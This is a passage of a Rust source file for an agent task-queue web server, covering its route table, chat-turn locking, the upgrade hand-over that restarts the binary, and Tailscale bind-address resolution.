879    /// of servable paths is the set written here. The asset route below is the
880    /// one exception and the only place in this server where a client names a
881    /// file; it is why [`valid_asset_name`] is checked before a path is built.
882    pub fn router(self) -> Router {
883        Router::new()
884            .route("/", get(index))
885            .route("/app.css", get(app_css))
886            .route("/app.js", get(app_js))
887            .route("/api/health", get(health))
888            .route("/api/loop", get(loop_get).post(loop_post))
889            .route("/api/upgrade", post(upgrade_post))
890            .route("/api/runs", get(runs_list))
891            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
892            .route("/api/runs/{id}/report", get(run_report))
893            .route("/api/runs/{id}/report.json", get(run_report_json))
894            .route("/api/runs/{id}/fold", post(run_fold))
895            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
896            .route("/api/runs/{id}/resume", post(run_resume))
897            .route("/api/queue", get(queue_list))
898            .route("/api/search", get(search_get))
899            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
900            .route("/api/stats", get(stats_get))
901            .route("/api/repos", get(repos_list))
902            .route("/api/settings", get(settings_get))
903            .route("/api/settings/roles", put(settings_put_roles))
904            .route("/api/queue/{id}/hold", post(queue_hold))
905            .route("/api/queue/{id}/release", post(queue_release))
906            .route("/api/queue/{id}/priority", post(queue_priority))
907            .route("/api/queue/{id}/edit", post(queue_edit))
908            .route("/api/queue/{id}/done", post(queue_done))
909            .route("/api/questions", get(questions_list))
910            .route("/api/questions/{id}/answer", post(question_answer))
911            .route("/api/questions/{id}/say", post(question_say))
912            .route("/api/questions/{id}/consult", post(question_consult))
913            .route("/api/questions/{id}/panel", get(question_panel))
914            // The same asset, reachable from inside the panel by its bare
915            // filename. A document served at `.../panel` resolves `shot.png`
916            // to `.../shot.png`, which is not the asset route, so a panel
917            // written the way its author was told to write it showed broken
918            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
919            // it - deliberately - so the fix is that the panel's own URL ends
920            // in a filename and its siblings are the assets.
921            .route("/api/questions/{id}/panel/index.html", get(question_panel))
922            .route("/api/questions/{id}/panel/{name}", get(question_asset))
923            .route("/api/questions/{id}/asset/{name}", get(question_asset))
924            .route("/api/notifications", get(notifications_list))
925            .route("/api/notifications/read-all", post(notifications_read_all))
926            .route("/api/notifications/{id}/read", post(notification_read))
927            .route(
928                "/api/notifications/{id}/dismiss",
929                post(notification_dismiss),
930            )
931            .route("/api/talks", get(talks_list).post(talk_post))
932            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
933            .route("/api/talks/{id}/say", post(talk_say))
934            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
935            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
936            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
937            .route("/api/talks/{id}/agent", post(talk_agent))
938            .route("/api/talks/{id}/persona", post(talk_persona))
939            .route("/api/talks/{id}/close", post(talk_close))
940            .route("/api/talks/{id}/reopen", post(talk_reopen))
941            // `DefaultBodyLimit` is raised only on this one route - every
942            // other route on this server answers in a few kilobytes, and
943            // widening the crate-wide default for all of them just because
944            // one accepts a picture would let any other handler be handed
945            // a multi-megabyte body it never expects.
946            .route(
947                "/api/talks/{id}/attachments",
948                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
949            )
950            .route(
951                "/api/talks/{id}/attachments/{att}",
952                get(talk_attachment_get),
953            )
954            .route("/api/events", get(events))
955            .with_state(Arc::new(self))
956    }
957}
958
959/// What a chat request is told while an upgrade is parking and the request
960/// cannot be queued as a draft.
961const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
962
963/// One talk's turn slot, released on drop.
964///
965/// A guard rather than a matching `remove` at the end of the handler, because
966/// the handler has several early returns and one `await` that can be cancelled
967/// out from under it. A leaked id is a talk nobody can talk to again.
968#[derive(Debug)]
969struct TalkTurnGuard {
970    talk: String,
971    turns: Arc<Mutex<TalkTurns>>,
972    released: bool,
973    /// The cross-process half of the slot; dropped with the guard.
974    lease: Option<crate::talk::TurnLease>,
975}
976
977/// In-memory turn ownership plus the queue generation observed by a drainer.
978///
979/// The generation changes only after a durable queued draft is written and its
980/// caller finds the turn busy. That lets the loop run filesystem work outside
981/// this mutex while still making the final empty-check/release atomic with a
982/// concurrent queue handoff.
983#[derive(Debug, Default)]
984struct TalkTurns {
985    live: HashSet<String>,
986    queued: HashMap<String, u64>,
987    /// Set while an upgrade hand-over is parking: no turn may start, so the
988    /// set in `live` can only shrink. Cleared again if the hand-over ends
989    /// without exiting the process.
990    parking: bool,
991}
992
993/// The atomic initial-state decision made by
994/// [`Ui::begin_talk_turn_unless_pending`].
995enum TalkTurnStart {
996    Claimed(TalkTurnGuard),
997    Busy,
998    /// Another process holds the turn lease. Unlike `Busy` there is no local
999    /// drain loop that would answer a queued draft, so the caller refuses.
1000    Foreign,
1001    Pending,
1002}
1003
1004impl TalkTurnGuard {
1005    /// Does this guard still own the on-disk lease? A transient failure to
1006    /// check counts as owning: the next beat decides. A guard that lost it
1007    /// must not start another turn on the same session.
1008    fn owns(&self) -> bool {
1009        self.lease
1010            .as_ref()
1011            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1012    }
1013
1014    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1015    /// than the lease's TTL still reads as held to other processes.
1016    async fn respond(
1017        &self,
1018        talk: &mut Talk,
1019        talks: &Talks,
1020        cfg: &Config,
1021        text: &str,
1022    ) -> anyhow::Result<()> {
1023        let lease = self
1024            .lease
1025            .as_ref()
1026            .context("the turn guard no longer holds its lease")?;
1027        talk::respond(lease, talk, talks, cfg, text).await
1028    }
1029
1030    /// Release while the caller already holds the claim mutex, closing the
1031    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1032    fn release(mut self, live: &mut TalkTurns) {
1033        // The on-disk lease goes first: while `live` still names the talk, no
1034        // local claim can start, so nobody observes the slot free but the
1035        // lease held.
1036        self.lease = None;
1037        live.live.remove(&self.talk);
1038        live.queued.remove(&self.talk);
1039        self.released = true;
1040    }
1041}
1042
1043impl Drop for TalkTurnGuard {
1044    fn drop(&mut self) {
1045        if self.released {
1046            return;
1047        }
1048        // Lease first, then the in-process slot (see `release`).
1049        drop(self.lease.take());
1050        if let Ok(mut live) = self.turns.lock() {
1051            live.live.remove(&self.talk);
1052            live.queued.remove(&self.talk);
1053        }
1054    }
1055}
1056
1057/// Releases a resume claim, so a run is resumable again after the attempt.
1058struct ResumeGuard {
1059    run: String,
1060    resuming: Arc<Mutex<HashSet<String>>>,
1061}
1062
1063impl Drop for ResumeGuard {
1064    fn drop(&mut self) {
1065        if let Ok(mut live) = self.resuming.lock() {
1066            live.remove(&self.run);
1067        }
1068    }
1069}
1070
1071/// Bind the port, waiting briefly for a predecessor to let go of it.
1072///
1073/// A restart hands the address from one process to the next, and the old one
1074/// holds its listener until it unwinds. A single `bind` can lose that race,
1075/// and for a restart triggered from a phone that means the deck never comes
1076/// back with no terminal around to say why.
1077///
1078/// Bounded, and only for the one error a wait can fix: anything else fails at
1079/// once, because retrying it would turn a clear message into a silence.
1080async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1081    const WINDOW: Duration = Duration::from_secs(10);
1082    const GAP: Duration = Duration::from_millis(250);
1083
1084    let deadline = std::time::Instant::now() + WINDOW;
1085    let mut said = false;
1086    loop {
1087        match tokio::net::TcpListener::bind(socket).await {
1088            Ok(listener) => return Ok(listener),
1089            Err(e)
1090                if e.kind() == std::io::ErrorKind::AddrInUse
1091                    && std::time::Instant::now() < deadline =>
1092            {
1093                if !said {
1094                    said = true;
1095                    tracing::info!(
1096                        "{socket} is still held - waiting up to {}s for it, \
1097                         which is what a restart looks like from here",
1098                        WINDOW.as_secs()
1099                    );
1100                }
1101                tokio::time::sleep(GAP).await;
1102            }
1103            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1104        }
1105    }
1106}
1107
1108/// Signalled when an upgrade has replaced the binary and the successor should
1109/// take this address over. One per process: there is one address to hand on.
1110static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1111
1112/// Set to `1` on the successor when the loop was running at handover.
1113const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1114
1115/// Whether the environment value asks for the loop to be resumed.
1116fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1117    value.is_some_and(|v| v == "1")
1118}
1119
1120/// Start this binary again with the same arguments, detached.
1121///
1122/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1123/// so the address is already free when the successor binds it. The first
1124/// attempt at this spawned the successor two hundred milliseconds before
1125/// exiting instead, and the released binary - which has no bind retry - died
1126/// on "address already in use" with its stdio sent to null, so the deck
1127/// simply never came back.
1128///
1129/// Detached and without inherited stdio: the successor has to outlive this
1130/// process, and must not hold open a pipe a terminal is waiting on.
1131///
1132/// `resume` tells the successor to start the queue loop, through
1133/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1134/// process inherited from its own predecessor cannot leak into a generation
1135/// that should not resume. The successor's own environment keeps the variable
1136/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1137///
1138/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1139/// than sent to null: a supervisor's redirection only ever held the first
1140/// generation's descriptors, so every later generation logged nowhere. The
1141/// pid of the child is returned so the handover log can name it.
1142fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1143    let exe = std::env::current_exe().context("find this binary")?;
1144    let args: Vec<String> = std::env::args().skip(1).collect();
1145    updater::log_step(
1146        home,
1147        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1148    );
1149    let log_path = home.join(WEB_LOG);
1150    let open_log = || {
1151        std::fs::create_dir_all(home)?;
1152        std::fs::OpenOptions::new()
1153            .create(true)
1154            .append(true)
1155            .open(&log_path)
1156    };
1157    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1158        Ok(pair) => (
1159            std::process::Stdio::from(pair.0),
1160            std::process::Stdio::from(pair.1),
1161        ),
1162        Err(e) => {
1163            updater::log_warn(
1164                home,
1165                &format!(
1166                    "could not open {}: {e}; the successor logs nowhere",
1167                    log_path.display()
1168                ),
1169            );
1170            (std::process::Stdio::null(), std::process::Stdio::null())
1171        }
1172    };
1173
1174    let mut cmd = std::process::Command::new(&exe);
1175    if resume {
1176        cmd.env(RESUME_LOOP_ENV, "1");
1177    } else {
1178        cmd.env_remove(RESUME_LOOP_ENV);
1179    }
1180    cmd.args(&args)
1181        .stdin(std::process::Stdio::null())
1182        .stdout(out)
1183        .stderr(err);
1184    #[cfg(windows)]
1185    {
1186        use std::os::windows::process::CommandExt as _;
1187        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1188        // and Ctrl-C in the old terminal must not reach the successor.
1189        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1190    }
1191    let child = cmd.spawn().context("start the successor")?;
1192    Ok(child.id())
1193}
1194
1195/// File under `<home>` the successor's output is appended to.
1196const WEB_LOG: &str = "web.log";
1197
1198/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1199/// stored by an earlier `notify_one` is consumed by the first poll, so the
1200/// signal is never missed and never wakes a second time.
1201async fn wait_for_handover(signal: &Notify) {
1202    signal.notified().await;
1203}
1204
1205/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1206///
1207/// The server itself owns no state, so nothing here is graceful for the HTTP
1208/// side's sake: the connections go with the dropped listener, which costs a
1209/// phone one change-stream reconnection it was going to make anyway.
1210///
1211/// The signal branch is not optional now that the loop lives in this process.
1212/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1213/// handler is what stops the signal terminating the process - so without a
1214/// branch of our own, the first Ctrl-C after the operator started the loop
1215/// would stop the loop and leave `magi web` listening forever, unkillable
1216/// from the terminal it was started in.
1217///
1218/// What it waits for is the loop, not the sockets. A run in flight is
1219/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1220/// mid-node leaves worktrees, branches and agent sessions behind and throws
1221/// away every agent call already paid for.
1222///
1223/// The server therefore runs on a task of its own rather than inside the
1224/// `select!`: an arm that resolves *drops* the futures the other arms were
1225/// polling, so serving the address from inside one would take the deck down
1226/// at the instant the handover began and keep it down for the whole park -
1227/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1228/// owns the order.
1229pub async fn serve(opts: Opts) -> Result<()> {
1230    let (addr, warning) = resolve_bind(&opts.bind);
1231    if let Some(warning) = warning {
1232        tracing::warn!("{warning}");
1233    }
1234
1235    // Process-global, and therefore set exactly once, here: the report route
1236    // must never emit escape sequences into a browser, and toggling the flag
1237    // per request would race with a concurrent request rendering its own
1238    // report. Startup is the only moment at which no request can observe the
1239    // change. Nothing in the server turns colour back on.
1240    report::set_color(false);
1241
1242    let repo = normalize_default_repo(opts.repo).await;
1243    let ui = Ui::open(repo).with_merge(opts.merge);
1244    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1245    // home to bracket the parking and restarting stages, and `run_update_recheck`
1246    // needs both it and the repo, and by then there is no `ui` left to read
1247    // them from.
1248    let home = ui.home.clone();
1249    let repo = ui.repo.clone();
1250    // Settles a progress record a predecessor left non-terminal - either this
1251    // *is* the successor `spawn_successor` started, or the previous process
1252    // died mid-handover. Before the router starts answering, so the very
1253    // first `/api/health` a phone gets from this process already reflects it.
1254    updater::reconcile_after_restart(&home);
1255    updater::log_step(
1256        &home,
1257        &format!(
1258            "web process started (version {}); handover log {}, successor output {}",
1259            env!("CARGO_PKG_VERSION"),
1260            updater::log_path(&home).display(),
1261            home.join(WEB_LOG).display()
1262        ),
1263    );
1264    updater::spawn_watchdog(home.clone());
1265    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1266    // `spawn_update_check` does at startup only ever runs once: after that,
1267    // `/api/health`'s `update` field - and the phone's "Update & restart"
1268    // button, which reads the very same cache - would stay frozen on
1269    // whatever that single check found, no matter how many releases ship
1270    // afterwards. This keeps it current instead. Detached: it must keep
1271    // going for as long as this process serves, `serve` has nothing to await
1272    // it for, and it exits on its own the moment the process does.
1273    tokio::spawn(run_update_recheck(repo, home.clone()));
1274    let looping = ui.looping();
1275    let turns = ui.turns();
1276    let talk_store = ui.talks.clone();
1277    let socket = SocketAddr::new(addr, opts.port);
1278    let listener = bind_waiting(socket).await?;
1279    let url = format!("http://{addr}:{}", opts.port);
1280    tracing::info!(
1281        "magi web UI on {url} - there is no authentication, so anyone who can \
1282         reach this address can file and hold tasks: the tailnet is the \
1283         security boundary"
1284    );
1285    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1286        tracing::info!("resumed the loop the predecessor was running");
1287    } else {
1288        tracing::info!(
1289            "the queue loop is not running yet - start it from the UI, which is \
1290             the whole reason this process can: nothing in the queue moves until \
1291             something is running the loop"
1292        );
1293    }
1294    if opts.open {
1295        // The URL alone on stdout, for a caller that wants to open it. magi
1296        // does not spawn a browser: on the machine this usually runs on there
1297        // is no display, and a failed launch would be the only output.
1298        println!("{url}");
1299    }
1300
1301    // On its own task, so nothing this function awaits can stop the address
1302    // being answered. `hand_over` is where it is given up.
1303    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1304    let interrupted = async {
1305        if tokio::signal::ctrl_c().await.is_err() {
1306            // No handler on this platform, so there is no signal to act on.
1307            // Never resolving is the safe answer: a failed registration must
1308            // not masquerade as the operator asking for a shutdown and take
1309            // the UI down on startup.
1310            std::future::pending::<()>().await;
1311        }
1312    };
1313    let handover = wait_for_handover(&HANDOVER);
1314    let outcome = tokio::select! {
1315        joined = &mut served => match joined {
1316            Ok(outcome) => outcome.context("serve the web UI"),
1317            Err(e) => Err(e).context("the task serving the web UI ended"),
1318        },
1319        () = interrupted => {
1320            tracing::info!("shutting down the web UI");
1321            finish_loop(&home, &looping, None).await;
1322            Ok(())
1323        }
1324        () = handover => {
1325            updater::log_step(&home, "serve: the select! woke on the handover signal");
1326            let successor_home = home.clone();
1327            let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1328            hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1329                spawn_successor(&successor_home, resume)
1330            })
1331            .await
1332        }
1333    };
1334    updater::log_step(
1335        &home,
1336        &match &outcome {
1337            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1338            Err(e) => format!("serve: returning an error: {e:#}"),
1339        },
1340    );
1341    outcome
1342}
1343
1344/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1345/// process's own working directory is not a git checkout at all - the
1346/// checkout [`repos::discover_verified`] finds instead.
1347///
1348/// Only the unmodified default is ever replaced: an operator who named a
1349/// directory outright, git checkout or not, gets exactly that directory
1350/// back, and the same story downstream (a talk whose briefing embeds a
1351/// non-git directory, and an agent that has to ask the operator where the
1352/// real repository is) that has always told them so - substituting a guess
1353/// for an explicit answer would be a second, silent opinion about what they
1354/// meant. There is no instruction or task text yet to match against this
1355/// early, so only [`repos::discover_verified`]'s own-repository tier can
1356/// ever settle this - the hint tier never fires here.
1357///
1358/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1359/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1360/// or a git installation that is broken in exactly the way that made the
1361/// original `canonical` check above fail too - so it is re-checked with
1362/// `git::toplevel` before it is ever used in place of the operator's own
1363/// directory.
1364async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1365    if repo != FsPath::new(".") {
1366        return repo;
1367    }
1368    let Ok(canonical) = repo.canonicalize() else {
1369        return repo;
1370    };
1371    if git::toplevel(&canonical).await.is_ok() {
1372        return repo;
1373    }
1374    let Some(home) = dirs::home_dir() else {
1375        return repo;
1376    };
1377    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1378        Some(found) => {
1379            tracing::info!(
1380                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1381                canonical.display(),
1382                found.path.display(),
1383                found.reason,
1384            );
1385            found.path
1386        }
1387        None => repo,
1388    }
1389}
1390
1391/// Park the loop, then release the address, then start the successor.
1392///
1393/// The order is the whole function, and each step is answerable to a failure
1394/// this arrangement has already had:
1395///
1396/// 1. **Park.** The loop was asked to stop by the request that replaced the
1397///    binary, and this waits for it, because killing the graph mid-node
1398///    leaves worktrees, branches and agent sessions behind and throws away
1399///    every agent call already paid for. It takes as long as the node in
1400///    flight - up to `timeout_implement`, an hour by default - and the deck
1401///    goes on answering for all of it, which is the reason `served` is a task
1402///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1403///    first upgrade from a phone that caught a run mid-implement dropped the
1404///    listener the moment it was asked to, and the operator got
1405///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1406///    waiting on and nothing but a process list to say the run was alive.
1407/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1408///    the join resolves only once the task's future has been dropped, so the
1409///    listener is released before the next line. Connections it already
1410///    accepted are served on tasks of their own and wind down asynchronously;
1411///    on some platforms (macOS) they can briefly keep the address busy, and
1412///    the successor's `bind_waiting` absorbs that.
1413/// 3. **Start the successor**, which binds the address this process has just
1414///    let go of - see [`spawn_successor`] for what the other order cost.
1415///
1416/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1417/// reporting, not part of the design: it exists so `/api/health` can say
1418/// "parking, waiting on run X" instead of leaving the phone to guess why the
1419/// deck went quiet, and dropping it would not change the order above.
1420async fn hand_over(
1421    home: &FsPath,
1422    looping: &Mutex<LoopState>,
1423    turns: &Arc<Mutex<TalkTurns>>,
1424    talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1425    served: tokio::task::JoinHandle<std::io::Result<()>>,
1426    successor: impl FnOnce(bool) -> Result<u32>,
1427) -> Result<()> {
1428    updater::log_step(home, "hand_over: entered; writing the parking stage");
1429    // The lease and the stage are written as one step, so a reader that sees
1430    // `parking` also finds the proof that hand_over is alive. Dropped on
1431    // every way out.
1432    let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1433    if !recorded {
1434        updater::log_warn(
1435            home,
1436            "hand_over: upgrade.json is unreadable; no parking stage",
1437        );
1438    }
1439    // Chat stays open while the loop parks: nothing restarts until it ends,
1440    // and the park can last as long as a node. Only once it is done is the
1441    // slot closed, right before the restart; a turn started earlier is in
1442    // `live` by then, so `finish_talks` waits for it.
1443    finish_loop(home, looping, Some(&mut lease)).await;
1444    let parking = ParkingTurns::begin(turns);
1445    let talks_done = finish_talks(home, turns, talk_wait);
1446    tokio::pin!(talks_done);
1447    let mut beat = tokio::time::interval(LEASE_BEAT);
1448    let (abandoned, waited_for) = loop {
1449        tokio::select! {
1450            left = &mut talks_done => break left,
1451            _ = beat.tick() => lease.beat(),
1452        }
1453    };
1454    drop(lease);
1455    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1456    served.abort();
1457    let _ = served.await;
1458    updater::log_step(home, "hand_over: listener released");
1459    // Read last: the deck answers for the whole park, so an operator's stop
1460    // during the wait must still be honoured by the successor.
1461    let resume = lock_or_recover(looping).resume_after_handover;
1462    match updater::read_progress(home) {
1463        Some(mut progress) => {
1464            progress.advance(updater::Stage::Restarting);
1465            if !abandoned.is_empty() {
1466                progress.detail = Some(format!(
1467                    "handed over while {} still running after {} s",
1468                    updater::talks_phrase(&abandoned),
1469                    waited_for.as_secs()
1470                ));
1471            }
1472            updater::write_progress_logged(home, &progress);
1473        }
1474        None => updater::log_warn(
1475            home,
1476            "hand_over: upgrade.json is unreadable; no restarting stage",
1477        ),
1478    }
1479    updater::log_step(
1480        home,
1481        &format!("hand_over: starting the successor (resume={resume})"),
1482    );
1483    drop(parking);
1484    match successor(resume) {
1485        Ok(pid) => {
1486            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1487            Ok(())
1488        }
1489        Err(e) => {
1490            updater::log_warn(
1491                home,
1492                &format!("hand_over: the successor did not start: {e:#}"),
1493            );
1494            Err(e)
1495        }
1496    }
1497}
1498
1499/// Grace added to `[graph] timeout_talk` for the upgrade's wait on chat turns:
1500/// a turn that runs its full timeout still needs a moment to record its answer.
1501const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1502
1503/// How often the park looks at the chat turns still running.
1504const TALK_POLL: Duration = Duration::from_millis(250);
1505
1506/// The longest an upgrade waits for chat turns: one turn's timeout plus a
1507/// grace. Beyond it a stuck turn must not block the hand-over.
1508fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1509    Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1510}
1511
1512/// The bound for the turns of `ids`: the longest `[graph] timeout_talk` among
1513/// the repositories those talks run in (each turn uses its own talk's
1514/// configuration), plus the grace. A talk or config that cannot be read counts
1515/// with the default timeout.
1516fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1517    let default = Config::default().graph.timeout_talk;
1518    let longest = ids
1519        .iter()
1520        .map(|id| {
1521            talks
1522                .get(id)
1523                .ok()
1524                .and_then(|t| Config::discover(&t.repo, None).ok())
1525                .map_or(default, |(c, _)| c.graph.timeout_talk)
1526        })
1527        .max()
1528        .unwrap_or(default);
1529    talk_wait_bound(longest)
1530}
1531
1532/// Stops new chat turns for as long as it lives, so the hand-over only ever
1533/// waits on a set that cannot grow. `hand_over` takes it only after the loop
1534/// has stopped, so chat stays usable while the loop parks. Dropping it reopens the slots.
1535struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1536
1537impl ParkingTurns {
1538    fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1539        turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1540        Self(Arc::clone(turns))
1541    }
1542}
1543
1544impl Drop for ParkingTurns {
1545    fn drop(&mut self) {
1546        self.0
1547            .lock()
1548            .unwrap_or_else(PoisonError::into_inner)
1549            .parking = false;
1550    }
1551}
1552
1553/// Wait until no chat turn is running in this process, for at most the longest
1554/// `bound_for` has given for the turns seen so far. Returns the talk ids still
1555/// running when the bound was hit (empty when the turns finished) with the
1556/// bound that applied, after saying so in the upgrade log.
1557async fn finish_talks(
1558    home: &FsPath,
1559    turns: &Mutex<TalkTurns>,
1560    bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1561) -> (Vec<String>, Duration) {
1562    let running = || {
1563        let mut ids: Vec<String> = turns
1564            .lock()
1565            .unwrap_or_else(PoisonError::into_inner)
1566            .live
1567            .iter()
1568            .cloned()
1569            .collect();
1570        ids.sort();
1571        ids
1572    };
1573    let started = std::time::Instant::now();
1574    let mut seen = Vec::new();
1575    let mut bound = Duration::ZERO;
1576    loop {
1577        let ids = running();
1578        if ids != seen {
1579            bound = bound.max(bound_for(&ids));
1580            if ids.is_empty() {
1581                updater::log_step(home, "finish_talks: no chat turn is running");
1582            } else {
1583                updater::log_step(
1584                    home,
1585                    &format!(
1586                        "finish_talks: waiting for {} to finish",
1587                        updater::talks_phrase(&ids)
1588                    ),
1589                );
1590            }
1591            updater::set_parked_talks(home, &ids);
1592            seen = ids;
1593        }
1594        if seen.is_empty() {
1595            return (Vec::new(), bound);
1596        }
1597        if started.elapsed() >= bound {
1598            updater::log_warn(
1599                home,
1600                &format!(
1601                    "finish_talks: {} still running after {} s; handing over anyway",
1602                    updater::talks_phrase(&seen),
1603                    bound.as_secs()
1604                ),
1605            );
1606            return (seen, bound);
1607        }
1608        tokio::time::sleep(TALK_POLL).await;
1609    }
1610}
1611
1612/// How often `finish_loop` renews the handover lease; well inside
1613/// [`updater::LEASE_TTL_SECS`].
1614const LEASE_BEAT: Duration = Duration::from_secs(20);
1615
1616/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1617///
1618/// The wait is the whole function. Returning from `serve` while a graph is
1619/// mid-node ends the process with worktrees, branches and agent sessions left
1620/// behind and every agent call in that run paid for and thrown away, which is
1621/// exactly what the daemon's own shutdown refuses to do.
1622async fn finish_loop(
1623    home: &FsPath,
1624    state: &Mutex<LoopState>,
1625    mut lease: Option<&mut updater::LeaseGuard>,
1626) {
1627    let live = lock_or_recover(state).live.take();
1628    let Some(live) = live else {
1629        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1630        return;
1631    };
1632    live.stop.stop();
1633    lock_or_recover(state).rev += 1;
1634    updater::log_step(
1635        home,
1636        "finish_loop: waiting for the loop to finish the run in flight",
1637    );
1638    let waited = std::time::Instant::now();
1639    // The task records its own outcome and logs it, so there is nothing to do
1640    // with a join error here but stop waiting.
1641    let mut handle = live.handle;
1642    let mut beat = tokio::time::interval(LEASE_BEAT);
1643    loop {
1644        tokio::select! {
1645            _ = &mut handle => break,
1646            _ = beat.tick() => {
1647                if let Some(lease) = lease.as_deref_mut() {
1648                    lease.beat();
1649                }
1650            }
1651        }
1652    }
1653    updater::log_step(
1654        home,
1655        &format!(
1656            "finish_loop: the loop ended after {:.1}s",
1657            waited.elapsed().as_secs_f32()
1658        ),
1659    );
1660}
1661
1662/// Resolve `--bind` to an address, plus a warning when the answer is not what
1663/// the operator asked for.
1664///
1665/// Split out from [`serve`] because the interesting half - deciding whether
1666/// Tailscale gave us something usable - is testable without opening a socket.
1667pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1668    match bind {
1669        Bind::Addr(addr) => (*addr, None),
1670        Bind::Auto => match tailscale_ip() {
1671            Ok(ip) => (IpAddr::V4(ip), None),
1672            Err(why) => (
1673                IpAddr::V4(Ipv4Addr::LOCALHOST),
1674                Some(format!(
1675                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1676                     local-only and a phone cannot reach it; start Tailscale \
1677                     or pass --bind <addr>"
1678                )),
1679            ),
1680        },
1681    }
1682}
1683
1684/// This machine's Tailscale IPv4, or why there is not one.
1685///
1686/// `tailscale ip -4` is a local call against the running daemon and returns in
1687/// milliseconds, so it is fine to make it synchronously before the server
1688/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1689/// CGNAT block Tailscale assigns from, and anything else on that output would
1690/// be a different tool answering.
1691fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1692    let out = std::process::Command::new("tailscale")
1693        .args(["ip", "-4"])
1694        .quiet()
1695        .output()
1696        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1697    if !out.status.success() {
1698        let why = String::from_utf8_lossy(&out.stderr);
1699        let why = why.trim();
1700        return Err(format!(
1701            "`tailscale ip -4` failed ({}){}",
1702            out.status,
1703            if why.is_empty() {
1704                String::new()
1705            } else {
1706                format!(": {why}")
1707            }
1708        ));
1709    }
1710    String::from_utf8_lossy(&out.stdout)
1711        .lines()
1712        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1713        .find(is_tailnet)
1714        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1715}
1716
1717/// Is this address in the CGNAT block Tailscale hands out from?
1718fn is_tailnet(ip: &Ipv4Addr) -> bool {
1719    let o = ip.octets();
1720    o[0] == 100 && (64..=127).contains(&o[1])
1721}
1722
1723/// What every handler returns. Spelled out because `Result` in this crate is
1724/// `anyhow::Result`, and a handler's error is a status code as much as a
1725/// message.
1726type ApiResult<T> = std::result::Result<T, ApiError>;
1727
1728/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1729#[derive(Debug)]
1730struct ApiError {
1731    status: StatusCode,
1732    message: String,
1733}
1734
1735impl ApiError {
1736    /// The client asked for something malformed.
1737    fn bad_request(message: impl Into<String>) -> Self {
1738        Self {
1739            status: StatusCode::BAD_REQUEST,
1740            message: message.into(),
1741        }
1742    }
1743
1744    /// No such run or task.
1745    fn not_found(message: impl Into<String>) -> Self {
1746        Self {
1747            status: StatusCode::NOT_FOUND,
1748            message: message.into(),
1749        }
1750    }
1751
1752    /// Someone else owns the thing the client wants to change.
